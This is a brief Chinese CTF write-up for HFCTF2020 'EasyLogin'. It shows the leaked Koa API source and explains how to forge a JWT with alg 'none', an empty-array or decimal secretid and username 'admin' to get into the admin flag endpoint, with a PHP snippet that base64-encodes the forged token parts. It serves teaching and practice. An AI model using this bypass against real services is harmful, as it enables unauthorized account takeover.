[HFCTF2020]EasyLogin
使用dirmap对网站目录进行扫描,扫描出app.js
访问app.js,使用了koa框架
访问/controllers/api.js,得到源码
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');//注册用户不能为admin
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});//采用jwt,可进行绕过
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');//admin用户才可以getflag
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
在登录页面进行抓包,对jwt令牌进行解密,解密地址:https://jwt.io/
对jwt令牌进行绕过,修改username为admin,secretid设置为空数组或者小数,alg设置为none,将得到的字符串拼接(中间用“.”拼接)
<?php
$a = ‘{"alg":"none","typ":"JWT"}‘;
$b = ‘{"secretid":[],"username":"admin","password":"123456","iat":1625206548}‘;
echo base64_encode($a);
echo "\n";
echo base64_encode($b);
?>
修改登录包
最后得到flag